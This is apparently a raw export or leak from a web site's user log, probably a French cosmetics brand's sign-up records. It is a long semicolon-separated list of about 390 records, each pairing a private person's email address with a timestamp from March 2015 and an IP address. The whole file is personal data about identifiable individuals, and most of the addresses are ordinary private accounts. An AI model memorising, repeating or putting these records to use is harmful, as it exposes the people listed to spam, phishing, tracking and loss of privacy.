+4443;valerie.vancleem@gmail.com;2015-03-04 15:47:07;92.143.108.252 +4444;Martinemarmont@aol.fr;2015-03-04 15:52:36;178.73.158.59 +4445;Martinemarmont@aol.fr;2015-03-04 15:52:36;178.73.158.59 +4446;new@garancia.com;2015-03-04 15:54:19;178.73.158.59 +4447;new@garancia.com;2015-03-04 15:54:19;178.73.158.59 +4448;new@garancia.com;2015-03-04 15:54:25;178.73.158.59 +4449;new@garancia.com;2015-03-04 15:54:25;178.73.158.59 +4450;braconnier.danielle@free.fr;2015-03-04 16:05:00;145.242.20.233 +4451;mf.guillon@live.fr;2015-03-04 16:15:31;79.92.187.99 +4452;myalvarez@orange.fr;2015-03-04 16:32:03;109.215.145.114 +4453;chgilles07@gmail.com;2015-03-04 16:38:44;88.162.75.63 +4454;chgilles07@gmail.com;2015-03-04 16:38:44;88.162.75.63 +4455;danion.katy@gmail.com;2015-03-04 16:58:53;80.14.119.196 +4456;florence.morello@gmail.com;2015-03-04 17:01:42;80.215.138.193 +4457;raphy255@yahoo.fr;2015-03-04 17:03:15;81.253.77.193 +4458;haht31@ymail.com;2015-03-04 17:20:27;78.200.86.106 +4459;hgautrand@aol.com;2015-03-04 17:33:18;78.221.76.173 +4460;jeuxbordot@gmail.com;2015-03-04 17:54:23;213.41.82.30 +4461;anso.desmarets@hotmail.fr;2015-03-04 17:59:00;109.130.226.103 +4462;krystou_jc@yahoo.fr;2015-03-04 18:04:32;81.248.60.54 +4463;g.rollin595@gmail.com;2015-03-04 18:06:22;86.76.66.35 +4464;yasmina.salah@numericable.fr;2015-03-04 18:20:29;78.225.2.203 +4465;clair06@live.fr;2015-03-04 18:39:38;78.233.133.227 +4466;oliviersophiegillard@orange.fr;2015-03-04 18:43:36;86.223.128.84 +4467;oliviersophiegillard@orange.fr;2015-03-04 18:43:37;86.223.128.84 +4468;sandrinemichelier@gmail.com;2015-03-04 18:57:19;92.158.202.116 +4469;m.bich@wanadoo.fr;2015-03-04 19:06:57;2.3.174.187 +4470;levasseur.mj@sfr.fr;2015-03-04 19:31:51;93.21.183.104 +4471;melanie.bonny@gmail.com;2015-03-04 20:35:32;2.11.64.200 +4472;mariethomazia.panayotis@gmail.com;2015-03-04 21:16:47;87.88.94.72 +4473;marysecandela@sfr.fr;2015-03-04 21:17:46;91.69.170.55 +4474;daboutard@orange.fr;2015-03-04 21:29:15;81.49.140.88 +4475;lilisefaitunebeauté@gmail.com;2015-03-04 22:07:50;109.25.13.206 +4476;caroline.philipp3@orange.fr;2015-03-04 22:51:06;85.68.21.33 +4477;new@garancia.com;2015-03-04 22:52:40;78.126.56.238 +4478;new@garancia.com;2015-03-04 22:52:40;78.126.56.238 +4479;fesca@voila.fr;2015-03-04 22:54:57;84.98.181.57 +4480;Vtournan@actua-concept.com;2015-03-04 22:55:40;78.126.56.238 +4481;Vtournan@actua-concept.com;2015-03-04 22:55:41;78.126.56.238 +4482;rachel.braouezec@wanadoo.fr;2015-03-04 22:56:21;2.14.69.128 +4483;rachel.braouezec@wanadoo.fr;2015-03-04 22:56:21;2.14.69.128 +4484;Vtournan@actua-concept.com;2015-03-04 22:57:53;78.126.56.238 +4485;Vtournan@actua-concept.com;2015-03-04 22:57:53;78.126.56.238 +4486;bouvier.dominique@numericable.fr;2015-03-04 23:14:19;89.2.244.106 +4487;mamycathy@msn.com;2015-03-04 23:36:25;86.202.190.216 +4488;laetitiamarquer1@hotmail.fr;2015-03-05 08:33:49;88.125.112.137 +4489;sandrella@adeli.biz;2015-03-05 09:03:21;46.227.19.226 +4490;info@etehiverlabresse.com;2015-03-05 09:04:12;90.33.183.80 +4491;sylvie.leprunenec@pole-emploi.fr;2015-03-05 09:13:19;109.26.209.88 +4492;severine.fouillen@sfr.fr;2015-03-05 09:44:43;77.135.106.121 +4493;lili302010@hotmail.fr;2015-03-05 09:45:07;92.89.235.30 +4494;rachel.braouezec@wanadoo.fr;2015-03-05 10:06:08;86.214.28.34 +4495;karinepoizac@gmail.com;2015-03-05 10:06:51;92.150.152.158 +4496;karinepoizac@gmail.com;2015-03-05 10:07:32;92.150.152.158 +4497;karinepoizac@gmail.com;2015-03-05 10:08:31;92.150.152.158 +4498;karinepoizac@gmail.com;2015-03-05 10:08:52;92.150.152.158 +4499;karinepoizac@gmail.com;2015-03-05 10:08:56;92.150.152.158 +4500;karinepoizac@gmail.com;2015-03-05 10:09:16;92.150.152.158 +4501;tressud@wanadoo.fr;2015-03-05 10:24:00;86.210.4.24 +4502;patrice.rigaud1@orange.fr;2015-03-05 10:27:36;2.3.206.142 +4503;nero7512@hotmail.fr;2015-03-05 10:36:37;77.134.53.190 +4504;mel94@hotmail.com;2015-03-05 10:40:32;129.175.169.82 +4505;nero7512@hotmail.fr;2015-03-05 10:42:55;77.134.53.190 +4506;nero7512@hotmail.fr;2015-03-05 10:43:23;77.134.53.190 +4507;mandine_vanessa@hotmail.com;2015-03-05 10:50:36;79.174.230.96 +4508;nonorib@orange.fr;2015-03-05 10:51:53;90.5.45.150 +4509;mel94@hotmail.com;2015-03-05 11:00:56;129.175.169.82 +4510;presine@orange.fr;2015-03-05 11:01:40;109.221.255.41 +4511;laurent.sautarel@free.fr;2015-03-05 11:05:19;82.249.93.10 +4512;jannachiocca@hotmail.fr;2015-03-05 11:09:33;86.211.39.90 +4513;anniedubru@gmail.com;2015-03-05 11:10:00;193.191.216.77 +4514;kiki08firenze@gmail.com;2015-03-05 11:13:04;46.218.115.204 +4515;pharmaciemalzieu@offisecure.com;2015-03-05 11:32:14;194.8.148.3 +4516;renouardc@wanadoo.fr;2015-03-05 11:33:36;78.125.176.142 +4517;renouardc@wanadoo.fr;2015-03-05 11:34:34;78.125.176.142 +4518;renouardc@wanadoo.fr;2015-03-05 11:35:12;78.125.176.142 +4519;renouardc@wanadoo.fr;2015-03-05 11:36:33;78.125.176.142 +4520;manuepeyrard@hotmail.fr;2015-03-05 11:38:18;89.81.32.126 +4521;dan.podo@sfr.fr;2015-03-05 11:48:54;77.132.8.67 +4522;soniastauffer1973@gmail.com;2015-03-05 11:50:11;88.167.200.182 +4523;soniastauffer1973@gmail.com;2015-03-05 11:50:11;88.167.200.182 +4524;soniastauffer1973@gmail.com;2015-03-05 11:50:23;88.167.200.182 +4525;soniastauffer1973@gmail.com;2015-03-05 11:50:24;88.167.200.182 +4526;celine.fersing@laposte.net;2015-03-05 11:55:18;194.154.205.138 +4527;fanoche75@yahoo.fr;2015-03-05 12:02:28;78.249.64.152 +4528;horribilys@gmail.com;2015-03-05 12:08:14;92.131.129.158 +4529;veronique.latinie@forem.be;2015-03-05 12:22:37;193.58.50.173 +4530;marieltz@hotmail.fr;2015-03-05 12:26:57;164.144.48.13 +4531;akasha00@hotmail.fr;2015-03-05 12:35:16;78.125.216.52 +4532;carine.lossy@telenet.be;2015-03-05 12:46:59;213.119.60.32 +4533;carine.lossy@telenet.be;2015-03-05 12:46:59;213.119.60.32 +4534;audrey.vaschalde@bbox.fr;2015-03-05 13:03:14;176.183.253.81 +4535;e.brerat@hotmail.fr;2015-03-05 13:28:44;90.9.209.6 +4536;marie-france.zz@cegetel.net;2015-03-05 13:31:20;194.199.172.35 +4537;delphine.machura@gmail.com;2015-03-05 13:34:09;88.169.72.33 +4538;mmorilleau@live.fr;2015-03-05 13:43:32;92.90.26.122 +4539;celine.castellani@aliceadsl.fr;2015-03-05 14:12:53;109.0.152.238 +4540;laura.1015@hotmail.fr;2015-03-05 14:19:13;88.138.71.84 +4541;haquette.emilie@gmail.com;2015-03-05 14:21:04;176.179.13.182 +4542;ericforain@yahoo.fr;2015-03-05 14:33:17;86.207.201.35 +4543;haquette.emilie@gmail.com;2015-03-05 14:40:30;176.179.13.182 +4544;sophie.oprey@yahoo.fr;2015-03-05 14:44:38;78.248.90.201 +4545;delphcom@live.fr;2015-03-05 15:19:01;88.121.254.101 +4546;priscilla.wetzel@hotmail.fr;2015-03-05 15:36:20;91.91.223.155 +4547;pascale.bril@sfr.fr;2015-03-05 15:37:28;84.6.146.153 +4548;budin.marlene@neuf.fr;2015-03-05 15:38:37;78.247.106.22 +4549;sylvie.besson322@gmail.com;2015-03-05 15:41:49;109.8.60.176 +4550;hettier.nadine@wanadoo.fr;2015-03-05 15:51:18;89.86.190.133 +4551;leti_debre@hotmail.fr;2015-03-05 15:55:48;82.127.71.171 +4552;anne-luce.bret@orange.fr;2015-03-05 15:57:03;109.208.18.129 +4553;fmaillet02@gmail.com;2015-03-05 16:20:23;194.250.240.72 +4554;sombrelyne@gmail.com;2015-03-05 16:23:59;81.241.6.60 +4555;cbartholomeus83@free.fr;2015-03-05 16:31:38;80.13.197.6 +4556;mouthedela@hotmail.fr;2015-03-05 16:34:54;92.155.49.220 +4557;mireillevenier@wanadoo.fr;2015-03-05 17:17:15;193.252.14.182 +4558;suzy.castagne@gmail.com;2015-03-05 17:33:46;88.142.171.199 +4559;Ksalvatorini@gmail.com;2015-03-05 17:48:14;88.171.60.201 +4560;Ksalvatorini@gmail.com;2015-03-05 17:48:38;88.171.60.201 +4561;scathduchemin@aol.com;2015-03-05 18:21:04;78.217.170.116 +4562;new@garancia.com;2015-03-05 18:46:40;80.12.39.131 +4563;new@garancia.com;2015-03-05 18:46:40;80.12.39.131 +4564;new@garancia.com;2015-03-05 18:49:31;92.90.20.129 +4565;new@garancia.com;2015-03-05 18:49:32;92.90.20.129 +4566;Fortinnadege@gmail.com;2015-03-05 19:59:24;5.158.247.44 +4567;Fortinnadege@gmail.com;2015-03-05 19:59:24;5.158.247.44 +4568;Fortinnadege@gmail.com;2015-03-05 19:59:43;5.158.247.44 +4569;Fortinnadege@gmail.com;2015-03-05 19:59:43;5.158.247.44 +4570;croco515@hotmail.fr;2015-03-05 20:03:03;91.38.101.81 +4571;wiatykisa@free.fr;2015-03-05 20:48:12;82.227.69.48 +4572;c.guerton@spa-collexion.fr;2015-03-05 20:49:04;87.90.16.3 +4573;peggy.sue73@hotmailmail.fr;2015-03-05 20:51:29;213.245.108.234 +4574;laura-83@live.fr;2015-03-05 21:04:09;78.127.166.78 +4575;s.wasson@hotmail.be;2015-03-05 21:04:44;81.247.93.77 +4576;new@garancia.com;2015-03-05 22:15:59;82.67.98.213 +4577;new@garancia.com;2015-03-05 22:15:59;82.67.98.213 +4578;nato_nassima@yahoo.fr;2015-03-05 22:19:10;82.67.98.213 +4579;nato_nassima@yahoo.fr;2015-03-05 22:19:11;82.67.98.213 +4580;nathalie.kreutzer@sfr.fr;2015-03-05 22:21:10;93.16.129.7 +4581;bouvara@live.fr;2015-03-05 22:57:44;88.141.138.254 +4582;lipp@orange.fr;2015-03-05 23:44:36;80.12.35.32 +4583;lipp@orange.fr;2015-03-05 23:44:36;80.12.35.32 +4584;hingan.nellie@laposte.net;2015-03-05 23:49:52;92.136.73.211 +4585;mariecharlotte.mariecharlotte@yahoo.fr;2015-03-05 23:50:17;78.241.7.115 +4586;hingan.nellie@laposte.net;2015-03-06 00:16:28;92.136.73.211 +4587;hingan.nellie@laposte.net;2015-03-06 00:17:36;92.136.73.211 +4588;flo.aymonin@sfr.fr;2015-03-06 07:16:41;81.51.87.15 +4589;michelledanger@hotmail.fr;2015-03-06 08:01:30;88.161.56.83 +4590;th.gremy@gmail.com;2015-03-06 08:02:02;31.37.174.239 +4591;aurelia.munier@laposte.net;2015-03-06 08:28:34;109.208.25.49 +4592;equipe.amancy.pharmacie@hotmail.fr;2015-03-06 08:54:50;80.13.235.151 +4593;mariedebleriot@hotmail.fr;2015-03-06 10:27:09;78.249.182.79 +4594;nadiamanchon@yahoo.fr;2015-03-06 10:39:15;93.15.225.31 +4595;vignon.caroline@gmail.com;2015-03-06 10:44:50;83.192.64.225 +4596;pascale.lavanant@gmail.com;2015-03-06 11:23:59;194.8.148.4 +4597;pharmacielavanant@offisecure.com;2015-03-06 11:28:54;194.8.148.4 +4598;pharmacielavanant@offisecure.com;2015-03-06 11:29:10;194.8.148.4 +4599;pharmacielavanant@offisecure.com;2015-03-06 11:29:21;194.8.148.4 +4600;jeanine.formentin@neuf.fr;2015-03-06 12:03:36;77.203.3.211 +4601;emouline66@aol.com;2015-03-06 12:12:11;109.210.86.71 +4602;caromann@live.fr;2015-03-06 12:25:16;90.30.214.143 +4603;jack-al95@orange.fr;2015-03-06 12:38:09;90.43.89.172 +4604;valerieamat@neuf.fr;2015-03-06 13:02:35;80.215.163.10 +4605;valerieamat@neuf.fr;2015-03-06 13:02:35;80.215.163.10 +4606;new@garancia.com;2015-03-06 13:02:45;80.215.163.10 +4607;new@garancia.com;2015-03-06 13:02:45;80.215.163.10 +4608;mfarahm89@yahoo.fr;2015-03-06 14:17:49;82.234.215.71 +4609;moineisa@laposte.net;2015-03-06 14:21:40;78.112.154.71 +4610;jebea@hotmail.fr;2015-03-06 14:27:34;82.238.208.131 +4611;berlocher.caroline@gmail.com;2015-03-06 14:55:01;90.6.223.80 +4612;berlocher.caroline@gmail.com;2015-03-06 14:55:01;90.6.223.80 +4613;valerie.lamouroux@u-bordeaux.fr;2015-03-06 15:11:07;147.210.225.106 +4614;blondeau.delamare@wanadoo.fr;2015-03-06 15:26:55;82.126.223.142 +4615;mf-lortholary@hotmail.fr;2015-03-06 15:29:41;89.227.193.180 +4616;christiancommeau@terre-net.fr;2015-03-06 15:50:36;92.130.56.83 +4617;arlette.schuhler@bbox.fr;2015-03-06 16:00:40;31.34.223.59 +4618;michelle.baur@orange.fr;2015-03-06 17:09:47;86.204.94.93 +4619;macanonne@laposte.net;2015-03-06 17:13:09;90.21.56.221 +4620;pydco@orange.fr;2015-03-06 17:20:34;92.135.142.82 +4621;yeta13@laposte.net;2015-03-06 17:54:03;83.156.95.175 +4622;diff-com@orange.fr;2015-03-06 18:05:37;90.63.134.28 +4623;carole.perseval@gmail.com;2015-03-06 18:05:52;87.90.240.12 +4624;new@garancia.com;2015-03-06 18:08:12;195.132.115.24 +4625;new@garancia.com;2015-03-06 18:08:13;195.132.115.24 +4626;stephanie.maragliano@gmail.com;2015-03-06 18:21:34;91.183.36.236 +4627;bereaukarine@hotmail.fr;2015-03-06 18:24:58;82.126.123.127 +4628;bereaukarine@hotmail.fr;2015-03-06 18:24:58;82.126.123.127 +4629;bereaukarine@hotmail.fr;2015-03-06 18:25:07;82.126.123.127 +4630;bereaukarine@hotmail.fr;2015-03-06 18:25:07;82.126.123.127 +4631;bereaukarine@hotmail.fr;2015-03-06 18:25:16;82.126.123.127 +4632;bereaukarine@hotmail.fr;2015-03-06 18:25:16;82.126.123.127 +4633;faure-lerondeau@orange.fr;2015-03-06 18:33:14;92.151.37.15 +4634;faure-lerondeau@orange.fr;2015-03-06 18:33:15;92.151.37.15 +4635;faure-lerondeau@orange.fr;2015-03-06 18:34:08;92.151.37.15 +4636;faure-lerondeau@orange.fr;2015-03-06 18:34:08;92.151.37.15 +4637;oscarnina@orange.fr;2015-03-06 18:59:57;86.206.187.123 +4638;schroedersonia@hotmail.fr;2015-03-06 19:22:48;2.13.168.230 +4639;new@garancia.com;2015-03-06 19:41:24;78.241.71.88 +4640;new@garancia.com;2015-03-06 19:41:25;78.241.71.88 +4641;magali.velou@gmail.com;2015-03-06 19:45:11;89.92.52.214 +4642;yjerkhmoum@yahoo.fr;2015-03-06 20:04:53;82.224.58.250 +4643;berlocher.caroline@gmail.com;2015-03-06 20:27:50;90.6.223.80 +4644;berlocher.caroline@gmail.com;2015-03-06 20:27:50;90.6.223.80 +4645;berlocher.caroline@gmail.com;2015-03-06 20:27:53;90.6.223.80 +4646;berlocher.caroline@gmail.com;2015-03-06 20:27:53;90.6.223.80 +4647;new@garancia.com;2015-03-06 21:04:29;80.12.59.174 +4648;new@garancia.com;2015-03-06 21:04:29;80.12.59.174 +4649;cassandre.sebbagh@gmail.com;2015-03-06 21:10:43;93.1.207.56 +4650;alessandracusina@fastwebnet.it;2015-03-06 21:32:23;2.236.97.100 +4651;boutonnetp@free.fr;2015-03-06 22:10:48;62.102.105.5 +4652;shurattow@yahoo.fr;2015-03-06 22:45:15;41.200.37.237 +4653;m.herold@hotmail.fr;2015-03-06 23:03:50;85.168.214.228 +4654;new@garancia.com;2015-03-06 23:13:17;82.232.248.37 +4655;new@garancia.com;2015-03-06 23:13:17;82.232.248.37 +4656;Annuccia@orange.fr;2015-03-07 01:46:19;86.219.179.138 +4657;Annuccia@orange.fr;2015-03-07 01:46:19;86.219.179.138 +4658;juliescouarnec@gmail.com;2015-03-07 07:54:16;176.186.74.197 +4659;bebemarco@live.fr;2015-03-07 08:04:45;78.126.101.169 +4660;bebemarco@live.fr;2015-03-07 08:04:45;78.126.101.169 +4661;juliescouarnec@gmail.com;2015-03-07 08:06:08;176.186.74.197 +4662;rv.michel69@orange.fr;2015-03-07 08:36:33;92.137.4.4 +4663;marcel.bohrer@orange.fr;2015-03-07 08:59:03;86.197.10.170 +4664;sylvie.fossani@free.fr;2015-03-07 09:08:31;78.217.228.81 +4665;claire.lambourg@wanadoo.fr;2015-03-07 09:23:59;2.14.79.49 +4666;lonicle@hotmail.fr;2015-03-07 09:36:15;109.7.206.49 +4667;danielle.mas64@yahoo.fr;2015-03-07 09:47:30;31.39.67.220 +4668;hippocamping12@gmail.com;2015-03-07 10:11:04;87.64.53.11 +4669;pouef02@gmail.com;2015-03-07 11:28:22;77.194.186.252 +4670;fabry-claude@wanadoo.fr;2015-03-07 11:34:40;86.202.154.70 +4671;stephanie.patej@gmail.com;2015-03-07 12:24:25;78.236.235.76 +4672;domdom.charles@orange.fr;2015-03-07 12:31:02;90.48.104.176 +4673;domdom.charles@orange.fr;2015-03-07 12:34:03;90.48.104.176 +4674;malyx@aliceadsl.fr;2015-03-07 12:37:23;90.59.86.253 +4675;clarisseparisot@hotmail.com;2015-03-07 12:45:41;195.42.231.160 +4676;florent.bresson0493@orange.fr;2015-03-07 13:16:28;90.33.15.115 +4677;audrey-hard@hotmail.fr;2015-03-07 13:44:05;90.59.73.51 +4678;pharmaciedubercail@wanadoo.fr;2015-03-07 14:12:42;86.211.16.157 +4679;legrandnic@wanadoo.fr;2015-03-07 14:42:59;92.132.121.62 +4680;valerie.vinazza@laposte.net;2015-03-07 14:50:08;80.12.39.115 +4681;milady13@sfr.fri;2015-03-07 14:53:49;93.9.163.10 +4682;chriskarlica@gmail.com;2015-03-07 15:10:23;90.59.101.230 +4683;marivillet@live.fr;2015-03-07 15:23:38;83.203.7.157 +4684;pharmacie.anduze@gmail.com;2015-03-07 15:26:13;92.133.186.78 +4685;pharmacie.anduze@gmail.com;2015-03-07 15:27:30;92.133.186.78 +4686;michele.ghachem@orange.fr;2015-03-07 15:35:39;92.128.90.147 +4687;michel.bouquet7@orange.fr;2015-03-07 15:39:28;90.1.68.88 +4688;tahiti1964@gmail.com;2015-03-07 15:42:22;78.233.191.158 +4689;new@garancia.com;2015-03-07 15:50:51;92.151.37.15 +4690;new@garancia.com;2015-03-07 15:50:51;92.151.37.15 +4691;faure-lerondeau@orange.fr;2015-03-07 15:56:30;92.151.37.15 +4692;faure-lerondeau@orange.fr;2015-03-07 15:56:30;92.151.37.15 +4693;faure-lerondeau@orange.fr;2015-03-07 16:03:21;92.151.37.15 +4694;faure-lerondeau@orange.fr;2015-03-07 16:03:21;92.151.37.15 +4695;faure-lerondeau@orange.fr;2015-03-07 16:03:43;92.151.37.15 +4696;faure-lerondeau@orange.fr;2015-03-07 16:03:43;92.151.37.15 +4697;tahiti1964@gmail.com;2015-03-07 16:04:38;78.233.191.158 +4698;tahiti1964@gmail.com;2015-03-07 16:04:45;78.233.191.158 +4699;maeva.lafont@yahoo.Fr;2015-03-07 16:28:44;92.158.94.165 +4700;pharmacie.mirande@orange.fr;2015-03-07 16:47:01;82.127.112.78 +4701;pharmacie.mirande@orange.fr;2015-03-07 16:50:32;82.127.112.78 +4702;pharmacie.mirande@orange.fr;2015-03-07 16:50:48;82.127.112.78 +4703;faby.poma@laposte.net;2015-03-07 16:56:35;84.6.144.112 +4704;new@garancia.com;2015-03-07 17:09:48;77.128.12.89 +4705;new@garancia.com;2015-03-07 17:09:49;77.128.12.89 +4706;cllecoutey@laposte.net;2015-03-07 18:01:51;109.8.2.114 +4707;dechamps-catherine76@hotmail.fr;2015-03-07 18:07:23;93.6.46.131 +4708;pascal.husson17@wanadoo.fr;2015-03-07 18:07:26;90.7.220.30 +4709;dechamps-catherine76@hotmail.fr;2015-03-07 18:12:31;93.6.46.131 +4710;new@garancia.com;2015-03-07 18:18:20;81.51.186.38 +4711;new@garancia.com;2015-03-07 18:18:20;81.51.186.38 +4712;carolinetoing@yahoo.fr;2015-03-07 18:24:45;81.51.186.38 +4713;carolinetoing@yahoo.fr;2015-03-07 18:24:45;81.51.186.38 +4714;lamafran@gmail.com;2015-03-07 18:27:01;78.155.12.173 +4715;benotemane.amine@laposte.net;2015-03-07 18:50:43;81.66.45.207 +4716;florent.bresson0493@orange.fr;2015-03-07 18:52:26;90.33.15.115 +4717;gouirandmanon@hotmail.fr;2015-03-07 18:59:52;88.163.137.81 +4718;alexandre.andco@laposte.net;2015-03-07 19:09:51;86.72.224.103 +4719;wage.l@orange.fr;2015-03-07 19:14:12;90.17.199.93 +4720;fabienne.ritt@orange.fr;2015-03-07 19:17:10;90.34.149.70 +4721;orel09.m@hotmail.fr;2015-03-07 19:33:46;31.32.201.212 +4722;chantal.boutet9@orange.fr;2015-03-07 20:16:40;92.144.247.80 +4723;fabienne.ritt@orange.fr;2015-03-07 20:23:46;90.34.149.70 +4724;fabienne.ritt@orange.fr;2015-03-07 20:23:50;90.34.149.70 +4725;fabienne.ritt@orange.fr;2015-03-07 20:24:00;90.34.149.70 +4726;delphine.vivert@hotmail.fr;2015-03-07 21:13:27;77.196.76.83 +4727;sabine.rosselle@skynet.be;2015-03-07 21:38:09;81.247.143.178 +4728;schuhfr@internet.lu;2015-03-07 22:19:24;195.218.27.100 +4729;delphine.vivert@hotmail.fr;2015-03-07 22:31:50;77.196.76.83 +4730;beatricedeleye@virginbox.fr;2015-03-07 22:37:05;84.6.117.89 +4731;avril.marieange@gmail.com;2015-03-07 23:05:20;89.2.230.77 +4732;benoitcharvet22@free.fr;2015-03-07 23:38:08;78.248.200.195 +4733;anna@annarodriguezvoland.com;2015-03-08 05:02:11;81.44.112.179 +4734;sorciere45@hotmail.com;2015-03-08 08:43:37;81.62.158.86 +4735;murielle-prevost@bbox.fr;2015-03-08 09:01:09;194.254.230.75 +4736;sdvignal@orange.fr;2015-03-08 09:01:11;92.133.20.96 +4737;stephred34@yahoo.fr;2015-03-08 09:40:23;80.215.235.98 +4738;stephred34@yahoo.fr;2015-03-08 09:40:24;80.215.235.98 +4739;stephred34@yahoo.fr;2015-03-08 09:40:38;80.215.235.98 +4740;sorciere45@hotmail.com;2015-03-08 09:40:38;81.62.158.86 +4741;stephred34@yahoo.fr;2015-03-08 09:40:38;80.215.235.98 +4742;sorciere45@hotmail.com;2015-03-08 09:40:46;81.62.158.86 +4743;sorciere45@hotmail.com;2015-03-08 09:41:29;81.62.158.86 +4744;sorciere45@hotmail.com;2015-03-08 09:42:06;81.62.158.86 +4745;sorciere45@hotmail.com;2015-03-08 09:42:23;81.62.158.86 +4746;estelle.m18@gmail.com;2015-03-08 09:45:35;109.29.68.212 +4747;squale.28@hotmail.fr;2015-03-08 09:53:17;92.140.252.54 +4748;katia_le_feur@yahoo.fr;2015-03-08 10:35:46;195.132.211.138 +4749;katia_le_feur@yahoo.fr;2015-03-08 10:35:46;195.132.211.138 +4750;marie.vandenbroucke@sfr.fr;2015-03-08 11:00:03;79.94.123.22 +4751;foucault.ml@gmail.com;2015-03-08 11:16:17;82.252.197.81 +4752;daniel.fratantonio@wanadoo.fr;2015-03-08 11:21:46;92.134.73.236 +4753;evelyne.pierre3@wanadoo.fr;2015-03-08 11:36:02;83.196.182.196 +4754;monin-christiane@wanadoo.fr;2015-03-08 11:37:56;90.39.102.119 +4755;chafachou@sfr.fr;2015-03-08 11:49:38;78.118.107.246 +4756;new@garancia.com;2015-03-08 12:03:16;88.136.153.237 +4757;new@garancia.com;2015-03-08 12:03:17;88.136.153.237 +4758;new@garancia.com;2015-03-08 12:03:36;89.227.213.179 +4759;new@garancia.com;2015-03-08 12:03:37;89.227.213.179 +4760;Sel.ynn@hotmail.fr;2015-03-08 12:04:30;89.227.213.179 +4761;Sel.ynn@hotmail.fr;2015-03-08 12:04:30;89.227.213.179 +4762;magalie.dallangelo@free.fr;2015-03-08 12:05:47;82.241.135.215 +4763;a_floch@orange.fr;2015-03-08 12:12:57;90.2.125.245 +4764;kitikoi77@voila.fr;2015-03-08 12:27:47;2.3.131.194 +4765;florence_collignon@yahoo.com;2015-03-08 12:54:26;85.240.83.28 +4766;michele.carle@neuf.fr;2015-03-08 12:55:36;86.76.94.114 +4767;liliane.lavoir@orange.fr;2015-03-08 13:05:21;90.32.190.61 +4768;franconykowalski@aol.com;2015-03-08 14:01:19;86.70.105.250 +4769;giselou.reynaud@orange.fr;2015-03-08 14:50:47;90.29.180.185 +4770;juliebuan1@gmail.com;2015-03-08 15:10:12;31.34.5.85 +4771;jouventalain@gmail.com;2015-03-08 16:14:38;91.194.98.45 +4772;dominique.paul75@sfr.fr;2015-03-08 16:22:19;93.182.207.35 +4773;brenormon@aol.com;2015-03-08 16:30:07;77.150.2.106 +4774;new@garancia.com;2015-03-08 16:58:15;172.56.27.93 +4775;new@garancia.com;2015-03-08 16:58:15;172.56.27.93 +4776;caromann@live.fr;2015-03-08 17:14:03;92.149.59.176 +4777;marilyne.massier@gmail.com;2015-03-08 17:18:12;88.189.210.174 +4778;berlocher.caroline@gmail.com;2015-03-08 17:19:56;80.12.59.11 +4779;berlocher.caroline@gmail.com;2015-03-08 17:19:56;80.12.59.11 +4780;clemence.peraldi@hotmail.fr;2015-03-08 17:41:59;90.26.39.83 +4781;gesaire@wanadoo.fr;2015-03-08 17:59:18;92.148.43.23 +4782;martin.helene27@orange.fr;2015-03-08 18:01:02;92.145.115.104 +4783;sanbyl@wanadoo.fr;2015-03-08 18:14:02;92.156.98.205 +4784;patreategui@hotmail.com;2015-03-08 18:22:04;188.79.45.103 +4785;nimrodelle@orange.fr;2015-03-08 18:33:33;90.59.255.141 +4786;geoffroynadia@gmail.com;2015-03-08 18:50:48;90.48.197.244 +4787;dvqtl@neuf.fr;2015-03-08 18:52:12;78.125.63.16 +4788;t.m.panyasak@gmail.com;2015-03-08 18:54:28;82.236.159.167 +4789;edonofane@yahoo.fr;2015-03-08 19:12:55;78.201.148.37 +4790;domy.commeres@orange.fr;2015-03-08 19:15:51;92.162.65.202 +4791;flojedamjul@orange.fr;2015-03-08 19:44:27;90.32.143.246 +4792;new@garancia.com;2015-03-08 19:54:45;213.55.176.248 +4793;new@garancia.com;2015-03-08 19:54:45;213.55.176.248 +4794;lucette.serpette@free.fr;2015-03-08 20:02:46;78.209.157.132 +4795;benedictemougeot@orange.fr;2015-03-08 20:12:16;81.51.81.160 +4796;benedictemougeot@orange.fr;2015-03-08 20:12:16;81.51.81.160 +4797;faustine.thibert@gmail.com;2015-03-08 20:14:36;109.10.228.233 +4798;caroline.lorenzi-paquier@orange.fr;2015-03-08 20:30:48;109.208.87.12 +4799;vlaurent17@yahoo.fr;2015-03-08 20:37:37;82.237.183.184 +4800;bridgette@dbmail.com;2015-03-08 20:46:06;89.224.163.141 +4801;isabellerouaud@free.fr;2015-03-08 20:48:43;78.229.250.2 +4802;Stemmelen.patricia@numericable.fr;2015-03-08 21:04:28;83.141.211.2 +4803;Stemmelen.patricia@numericable.fr;2015-03-08 21:04:29;83.141.211.2 +4804;Stemmelen.patricia@numericable.fr;2015-03-08 21:04:38;83.141.211.2 +4805;Stemmelen.patricia@numericable.fr;2015-03-08 21:04:38;83.141.211.2 +4806;elfine801@hotmail.com;2015-03-08 21:23:17;91.177.173.78 +4807;new@garancia.com;2015-03-08 22:03:11;86.75.41.53 +4808;new@garancia.com;2015-03-08 22:03:12;86.75.41.53 +4809;mesboxbeaute@hotmail.com;2015-03-08 22:26:45;77.148.172.104 +4810;myouchoute@gmail.com;2015-03-08 22:48:19;89.93.200.135 +4811;jeanine.besse@orange.fr;2015-03-08 22:50:06;83.193.179.203 +4812;favole@hotmail.ch;2015-03-08 23:16:45;85.2.70.212 +4813;murielcollart@yahoo.com;2015-03-08 23:39:51;93.19.224.247 +4814;leparadisdesetoiles@gmail.com;2015-03-09 01:26:07;89.225.34.111 +4815;leparadisdesetoiles@gmail.com;2015-03-09 01:26:07;89.225.34.111 +4816;leparadisdesetoiles@gmail.com;2015-03-09 01:26:16;89.225.34.111 +4817;leparadisdesetoiles@gmail.com;2015-03-09 01:26:17;89.225.34.111 +4818;new@garancia.com;2015-03-09 06:22:11;124.170.55.51 +4819;new@garancia.com;2015-03-09 06:22:11;124.170.55.51 +4820;aureliebourgogne@orange.fr;2015-03-09 08:42:18;77.242.202.228 +4821;stephanie.dossantos73@gmail.com;2015-03-09 10:10:05;46.218.150.98 +4822;caferestaurantdelatour@orange.fr;2015-03-09 10:20:23;92.148.88.159 +4823;g.chevalier38@laposte.net;2015-03-09 10:59:14;80.13.217.100 +4824;judithuguenin@hotmail.com;2015-03-09 11:23:15;95.172.74.42 +4825;s.deligny@neuf.fr;2015-03-09 11:31:42;93.3.15.131 +4826;thierrylarive@gmail.com;2015-03-09 11:38:57;212.23.175.169 +4827;gautierpauline@gmail.com;2015-03-09 11:58:04;195.25.200.73 +4828;gisele.marchand@hotmail.fr;2015-03-09 12:00:00;31.37.104.184 +4829;mflorine@live.fr;2015-03-09 12:01:23;81.67.128.104 +4830;i.chateau--wagenbach@orange.fr;2015-03-09 12:04:00;83.204.107.150 +4831;mamamouchi58@yahoo.fr;2015-03-09 12:29:00;109.30.193.119 